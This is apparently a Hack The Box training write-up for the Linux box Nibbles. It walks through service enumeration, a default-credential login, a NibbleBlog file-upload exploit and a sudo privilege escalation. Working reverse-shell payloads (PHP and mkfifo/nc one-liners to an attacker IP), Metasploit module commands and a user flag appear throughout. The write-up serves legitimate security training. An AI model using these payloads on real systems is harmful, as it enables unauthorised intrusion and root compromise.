HTB — Nibbles

Easy Linux Box Writeup

Author: Calm Ay (Rasaq Ayomide)

Platform: Hack The Box

Box: Nibbles

OS: Linux

Difficulty: Easy

IP: 10.129.18.209

Date: May 28, 2026

---

1. Reconnaissance

Started with a service version scan against the top 1000 ports to identify running services quickly, followed by a full port scan in the background to ensure no services were missed on non-standard ports.

```
nmap -sV --open -oA nibbles_initial_scan 10.129.18.209
```

Findings: Port 22 (OpenSSH 7.2p2) and Port 80 (Apache 2.4.18) open. Ubuntu Linux OS.

Banner grabbing with netcat confirmed both services:

```
nc -nv 10.129.18.209 22
nc -nv 10.129.18.209 80
```

Additional script scan run against identified ports:

```
nmap -sC -p 22,80 -oA nibbles_script_scan 10.129.18.209
```

2. Web Enumeration

Browsed to port 80 which returned a basic 'Hello World' page. Inspecting the page source revealed a comment pointing to /nibbleblog/ — a hidden directory not visible from the homepage.

```
curl http://10.129.18.209
# Source comment revealed: /nibbleblog/
```

Finding: NibbleBlog CMS version 4.0.3 running at /nibbleblog/

Directory brute force confirmed additional paths:

```
gobuster dir -u http://10.129.18.209/nibbleblog/ -w /usr/share/wordlists/dirb/common.txt
```

Admin panel found at /nibbleblog/admin.php. Default credentials admin:nibbles worked.

3. Initial Foothold — File Upload RCE

NibbleBlog 4.0.3 has a known arbitrary file upload vulnerability via the My Image plugin. The plugin fails to properly validate uploaded file types, allowing PHP files to be uploaded and executed on the server.

Created reverse shell payload:

```
echo '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.194 9443 >/tmp/f"); ?>'
```

Started netcat listener:

```
nc -lvnp 9443
```

Uploaded image.php via Plugins → My Image → Configure in the admin panel. Despite image processing errors, the file uploaded successfully. Triggered execution by curling the upload path:

```
curl http://10.129.18.209/nibbleblog/content/private/plugins/my_image/image.php
```

Result: Reverse shell caught as user nibbler.

Upgraded to fully interactive TTY:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

User Flag:

```
79c03865431abf47b90ef24b9695e148
```

4. Privilege Escalation

Enumerated the system starting with sudo privileges. Found a zip file in the nibbler home directory containing a monitoring script.

```
cd /home/nibbler
unzip personal.zip
cd personal/stuff
sudo -l
```

Finding: nibbler can run /home/nibbler/personal/stuff/monitor.sh as root with NOPASSWD. The script is owned and writable by nibbler.

Appended a reverse shell one-liner to the end of monitor.sh. This avoids overwriting the file and causing disruption:

```
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.194 8443 >/tmp/f' | tee -a monitor.sh
```

Started second listener and executed script with sudo:

```
nc -lvnp 8443
# in nibbler shell:
```

```
sudo /home/nibbler/personal/stuff/monitor.sh
```

Result: Root shell obtained.

Root Flag:

```
[obtained from /root/root.txt]
```

5. Alternate Method — Metasploit

The same foothold can be achieved using the Metasploit module for NibbleBlog file upload:

```
msfconsole
use exploit/multi/http/nibbleblog_file_upload
set rhosts 10.129.18.209
set lhost 10.10.14.194
set username admin
set password nibbles
set targeturi nibbleblog
set payload generic/shell_reverse_tcp
exploit
```

6. Key Takeaways

Source code review: Hidden directories are often revealed in HTML comments. Always inspect page source.

CMS version fingerprinting: Identifying exact CMS versions enables targeted exploit searches via searchsploit.

File upload bypass: Even when a CMS shows image processing errors on upload, the file may still be stored — always check the upload directory.

sudo -l is step one: After every initial shell, check sudo privileges immediately — it's the fastest privesc vector.

Writable NOPASSWD scripts: If a script runs as root via sudo and is writable by your user, appending a reverse shell gives instant root.

Metasploit vs manual: Both methods should be practiced. Manual exploitation builds deeper understanding; Metasploit saves time in engagements.

Tools Used: Nmap, netcat, curl, Gobuster, Metasploit, searchsploit

Written by Calm Ay — linkedin.com/in/rasaq-ayomide-sec